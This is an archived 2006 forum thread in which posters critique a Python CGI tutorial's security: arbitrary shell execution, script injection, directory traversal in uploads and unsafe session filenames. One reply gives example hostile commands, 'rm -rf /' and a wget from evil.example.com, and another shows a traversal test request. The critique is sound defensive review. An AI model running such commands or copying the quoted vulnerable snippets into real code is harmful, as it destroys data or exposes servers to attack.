By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
444,035 Members | 1,408 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 444,035 IT Pros & Developers. It's quick & easy.

CGI Tutorial

P: n/a
I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

Regards, Clodoaldo Pinto Neto

Oct 4 '06 #1
Share this Question
Share on Google+
19 Replies


P: n/a
I'm just building a Python CGI Tutorial and would appreciate
any feedback from the many experts in this list.
First item of feedback...post something on which to give
feedback, such as a link to the work in progress. :)

-tkc

Oct 4 '06 #2

P: n/a
Clodoaldo Pinto Neto wrote:
I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.
http://webpython.codepoint.net

Oct 4 '06 #3

P: n/a
Clodoaldo Pinto Neto wrote:
I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.
http://webpython.codepoint.net

Oct 4 '06 #4

P: n/a
>I'm just building a Python CGI Tutorial and would appreciate any
>feedback from the many experts in this list.

http://webpython.codepoint.net

Thanks! :)

My first note would be regarding

http://webpython.codepoint.net/shell_commands

The code is very dangerous...allowing any ol' schmoe to run
arbitrary code on your server. At the barest of minimums, I'd
plaster the code with warnings that this is a Very Dangerous
Thing(tm) to do. Preferably, one would want to have fixed sets
of commands, something like

install_django = 'curl...'
if command=='install_django': sub.Popen(install_django, ...)

so that only trusted code is run, not arbitrary things like

'wget -r http://evil.example.com'

or

'rm -rf /'

which would just be bad.

Similarly, regarding

http://webpython.codepoint.net/debugging

you might want to caution that this will/can display potentially
sensitive information (passwords, internal file-structure, etc),
and thus should only be used while debugging, and turned off in
any sort of production code.

The section on single vs. multiple field names was pretty good at
giving a nice overview that there are *two* scenarios one might
encounter.

Just a little feedback, whether from an expert or otherwise. :)

-tkc
Oct 4 '06 #5

P: n/a
2006/10/4, Tim Chase <py*********@tim.thechases.com>:
I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.
http://webpython.codepoint.net


Thanks! :)

My first note would be regarding

http://webpython.codepoint.net/shell_commands

The code is very dangerous...allowing any ol' schmoe to run
arbitrary code on your server. At the barest of minimums, I'd
plaster the code with warnings that this is a Very Dangerous
Thing(tm) to do.
I though the danger was so obvious that i didn't bother. Now i have
issued a warning.
Similarly, regarding

http://webpython.codepoint.net/debugging

you might want to caution that this will/can display potentially
sensitive information (passwords, internal file-structure, etc),
and thus should only be used while debugging, and turned off in
any sort of production code.
Yes, another warning was issued.

Thanks for your help. Clodoaldo Pinto Neto
Oct 4 '06 #6

P: n/a
Several times you improperly spell "syntax" "sintax". Other than that
it appears to be an excellent tutorial.
Clodoaldo Pinto Neto wrote:
I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

Regards, Clodoaldo Pinto Neto
Oct 5 '06 #7

P: n/a
Clodoaldo Pinto Neto schrieb:
>
http://webpython.codepoint.net
Great tutorial -- Thanks a lot!!!

:D

--
__________________________________________________ ______________________
Gerold Penz - bcom - Programmierung
ge*********@tirol.utanet.at | http://gerold.bcom.at | http://sw3.at
Ehrliche, herzliche Begeisterung ist einer der
wirksamsten Erfolgsfaktoren. Dale Carnegie
Oct 5 '06 #8

P: n/a
Clodoaldo Pinto Neto wrote:
print '<p>The submited name was "' + name + '"</p>'
Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -HTML output.
open('files/' + fileitem.filename, 'w')
BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filename= '../../something.py'
sid = cookie['sid'].value
session = shelve.open('/tmp/.session/sess_' + sid
Bad filename use allows choice of non-session files, opening with
shelve allows all sorts of pickle weirdnesses. Just use strings.
p = sub.Popen(str_command,
o.O

Sure this stuff may not matter for Hello World on a test server, but if
you're writing a tutorial you should ensure newbies know the Right Way
to do it from the start. The proliferation of security-oblivious PHP
tutorials is directly responsible for the disasterous amount of
script-injection- and SQL-injection-vulnerable webapps out there -
let's not have the same for Python.

--
And Clover
mailto:an*@doxdesk.com
http://www.doxdesk.com/

Oct 5 '06 #9

P: n/a
an********@doxdesk.com wrote:
Clodoaldo Pinto Neto wrote:

>>print '<p>The submited name was "' + name + '"</p>'


Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -HTML output.

>>open('files/' + fileitem.filename, 'w')


BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filename= '../../something.py'
Technically this subclass of canonicalization error is known as a
directory traversal bug.
>
>>sid = cookie['sid'].value
session = shelve.open('/tmp/.session/sess_' + sid


Bad filename use allows choice of non-session files, opening with
shelve allows all sorts of pickle weirdnesses. Just use strings.

>>p = sub.Popen(str_command,


o.O

Sure this stuff may not matter for Hello World on a test server, but if
you're writing a tutorial you should ensure newbies know the Right Way
to do it from the start. The proliferation of security-oblivious PHP
tutorials is directly responsible for the disasterous amount of
script-injection- and SQL-injection-vulnerable webapps out there -
let's not have the same for Python.
I was teaching this week's class about SQL injection vulnerabilities
earlier today. One student mentioned estimates that *11%* of all
Internet web sites are vulnerable to such exploits. Another, a
policeman, pointed out that he'd had news just today of an injection
exploit on a major credit card company's web site. The number of credit
card numbers harvested by the attack has not yet been announced.

Credit card numbers should be encrypted in the database, of course, but
they rarely are (even by companies whose reputations imply they ought to
know better).

Yup, in the wacky world of the 21st century web if a thing's worth doing
it's worth screwing up completely ...

regards
Steve
--
Steve Holden +44 150 684 7255 +1 800 494 3119
Holden Web LLC/Ltd http://www.holdenweb.com
Skype: holdenweb http://holdenweb.blogspot.com
Recent Ramblings http://del.icio.us/steve.holden

Oct 5 '06 #10

P: n/a
I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

Regards, Clodoaldo Pinto Neto
Perhaps you want to post this to the mod_python list as well:
http://mailman.modpython.org/mailman...nfo/mod_python
Oct 5 '06 #11

P: n/a
Jim
Clodoaldo Pinto Neto wrote:
I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.
I'm not an expert, but I have written a lot of these and I have a
couple of $0.02's.

* All code you put in your writing needs to be correct. That is, on
the web you can't say something and later in the text say "but this has
a problem and needs to be tightened up" because people will paste in
code that they got from you and won't read the rest. They will.

Instead, you need the scripts to be right, from the start. Then you
say "Lets look at lines 1-5. The reason for those is ..".

* All cgi scripts need logging. Debugging cgi can be hard and you need
to have a place to write statements of the form log.debug("in
getValues(): value of x is %s" % (repr(x),)).

* You need a DEBUG variable:
from defaults import DEBUG
:
if DEBUG:
..

* I've been impressed by Guido's writing that a main() routine makes
sense. One reason is that you can more easily make unit tests.
Because testing cgi is so hard, this is especially useful in this
context. (I admit that I'm only a recent convert to this but it really
makes sense.)

So, continuing with my opinions as though they were facts, the skeleton
of all cgi's is something like this, IMHO:

import sys, os, os.path, urllib, cgi

from cgi import escape
from xml.sax.saxutils import quoteattr

from defaults import DEBUG, LOGGING
THIS_SCRIPT=os.path.basename(sys.argv[0])
LOGFILE_NAME=os.path.splitext(THIS_SCRIPT)[0]+'.log'

if DEBUG:
import cgitb
cgitb.enable()

# all kinds of functions here

def main(fs,argv=None,log=None,debug=False):
if argv is None:
argv=sys.argv
# logic here

if __name__=='__main__':
log=None
if LOGGING:
log=openLog(LOGFILE_NAME)
fs=cgi.FieldStorage(keep_blank_values=1)
try:
main(fs,argv=sys.argv,log=log,debug=DEBUG)
except StandardError, err:
mesg="General programming error"
bail(mesg,devel=mesg+":
error=%(err)s",log=log,debug=DEBUG,err=err)
except SystemExit, err: # bailed out in a subroutine
pass
sys.exit(0)

(where bail() is a routine that puts up an error page -- on that page,
I have one of two messages, the second of which, using the "devel"
string, only appears when DEBUG is True).

In my humble experience, all cgi programs should follow something like
that scheme.

You asked for an opinion! :-)
Jim

Oct 5 '06 #12

P: n/a
On 5 Oct 2006 14:56:54 -0700, Jim <jh*******@smcvt.eduwrote:
* You need a DEBUG variable:
from defaults import DEBUG
:
if DEBUG:
..
WADR, there is a more formal way to do this:

http://docs.python.org/ref/assert.html

Use -O to remove the assert statements, essentially: -O sets the
builtin var __debug__ to False.

(BTW, thank you for making a Linear Algebra textbook that an
innumerate dolt like myself can almost understand.)

-- Theerasak
Oct 6 '06 #13

P: n/a
an********@doxdesk.com wrote:
Clodoaldo Pinto Neto wrote:
print '<p>The submited name was "' + name + '"</p>'

Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -HTML output.
open('files/' + fileitem.filename, 'w')

BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filename= '../../something.py'
Do you think os.path.basename() is good enough?
========================
#!/usr/bin/env python
import cgi, os.path

form = cgi.FieldStorage()
fileitem = form['file']
fn = fileitem.filename
fnb = os.path.basename(fn)

print """\
Content-Type: text/plain\n
filename = "%s"
basename = "%s"
""" % (fn, fnb)
========================

[cpn@dkt ~]$ nc teste.s0 80
POST /cgi-bin/dir_traversal.py HTTP/1.1
Host: teste.s0
Content-Type: multipart/form-data;
boundary=---------------------------170451527316340742161395972977
Content-Length: 226

-----------------------------170451527316340742161395972977
Content-Disposition: form-data; name="file"; filename="../test.txt"
Content-Type: text/plain

file text

-----------------------------170451527316340742161395972977--
HTTP/1.1 200 OK
Date: Fri, 06 Oct 2006 20:48:58 GMT
Server: Apache/2.2.2 (Fedora)
Content-Length: 48
Content-Type: text/plain; charset=UTF-8

filename = "../test.txt"
basename = "test.txt"
Regards, Clodoaldo

Oct 6 '06 #14

P: n/a
In message <ma***************************************@python. org>, Steve
Holden wrote:
Credit card numbers should be encrypted in the database, of course, but
they rarely are (even by companies whose reputations imply they ought to
know better).
How would encryption help? They'd still have to be decrypted to be used.
Oct 9 '06 #15

P: n/a
In message <ma***************************************@python. org>, Clodoaldo
Pinto Neto wrote:
2006/10/4, Tim Chase <py*********@tim.thechases.com>:
>The code is very dangerous...allowing any ol' schmoe to run
arbitrary code on your server. At the barest of minimums, I'd
plaster the code with warnings that this is a Very Dangerous
Thing(tm) to do.

I though the danger was so obvious that i didn't bother. Now i have
issued a warning.
I wonder whether warnings are enough. People are still going to copy and
paste the dodgy code from your tutorial into their site. The only way
around this is to offer good, robust code to begin with.
Oct 9 '06 #16

P: n/a
Lawrence D'Oliveiro wrote:
In message <ma***************************************@python. org>, Steve
Holden wrote:

>>Credit card numbers should be encrypted in the database, of course, but
they rarely are (even by companies whose reputations imply they ought to
know better).


How would encryption help? They'd still have to be decrypted to be used.
Indeed they would, but with proper key management the probability that
they can be stolen from a database in their plaintext form is rather
lower. Just last week a police employee in my class told us of an
exploit where a major credit card copmany's web site had been hacked
using a SQL injection vulnerability. This is usually done with the
intent of gaining access to credit card data.

regards
Steve
--
Steve Holden +44 150 684 7255 +1 800 494 3119
Holden Web LLC/Ltd http://www.holdenweb.com
Skype: holdenweb http://holdenweb.blogspot.com
Recent Ramblings http://del.icio.us/steve.holden

Oct 9 '06 #17

P: n/a
In message <ma*************************************@python.or g>, Steve
Holden wrote:
Lawrence D'Oliveiro wrote:
>In message <ma***************************************@python. org>, Steve
Holden wrote:

>>>Credit card numbers should be encrypted in the database, of course, but
they rarely are (even by companies whose reputations imply they ought to
know better).

How would encryption help? They'd still have to be decrypted to be used.

Indeed they would, but with proper key management the probability that
they can be stolen from a database in their plaintext form is rather
lower. Just last week a police employee in my class told us of an
exploit where a major credit card copmany's web site had been hacked
using a SQL injection vulnerability. This is usually done with the
intent of gaining access to credit card data.
If they can do that, it doesn't seem much of a step to compromise the code
that decrypts the credit card data, as well. Keeping it encrypted, when the
key needs to be kept at the same (in)security level, is just
security-through-obscurity.
Oct 9 '06 #18

P: n/a
Lawrence D'Oliveiro <ld*@geek-central.gen.new_zealandwrites:
lower. Just last week a police employee in my class told us of an
exploit where a major credit card copmany's web site had been hacked
using a SQL injection vulnerability. This is usually done with the
intent of gaining access to credit card data.

If they can do that, it doesn't seem much of a step to compromise the code
that decrypts the credit card data, as well. Keeping it encrypted, when the
key needs to be kept at the same (in)security level, is just
security-through-obscurity.
Keys in such sites are supposed to be kept more secure than the stuff
in the db.
Oct 9 '06 #19

P: n/a
Lawrence D'Oliveiro wrote:
In message <ma*************************************@python.or g>, Steve
Holden wrote:

>>Lawrence D'Oliveiro wrote:
>>>In message <ma***************************************@python. org>, Steve
Holden wrote:

Credit card numbers should be encrypted in the database, of course, but
they rarely are (even by companies whose reputations imply they ought to
know better).

How would encryption help? They'd still have to be decrypted to be used.

Indeed they would, but with proper key management the probability that
they can be stolen from a database in their plaintext form is rather
lower. Just last week a police employee in my class told us of an
exploit where a major credit card copmany's web site had been hacked
using a SQL injection vulnerability. This is usually done with the
intent of gaining access to credit card data.


If they can do that, it doesn't seem much of a step to compromise the code
that decrypts the credit card data, as well. Keeping it encrypted, when the
key needs to be kept at the same (in)security level, is just
security-through-obscurity.
It depends on what level of compromise they obtain through SQL
injection. It does represent a significant additional burden on
attackers before sensitive data becomes known. Clearly if someone mounts
a successful privilege escalation attack then potentially everything on
the system is compromised.

Note further, by the way, that credit card numbers need not necessarily
be decrypted to be used: if you are the credit card processor (rather
than a merchant requiring payment) then you can instead encrypt the card
number provided by the user and use that as your database key.

regards
Steve
--
Steve Holden +44 150 684 7255 +1 800 494 3119
Holden Web LLC/Ltd http://www.holdenweb.com
Skype: holdenweb http://holdenweb.blogspot.com
Recent Ramblings http://del.icio.us/steve.holden

Oct 9 '06 #20

This discussion thread is closed

Replies have been disabled for this discussion.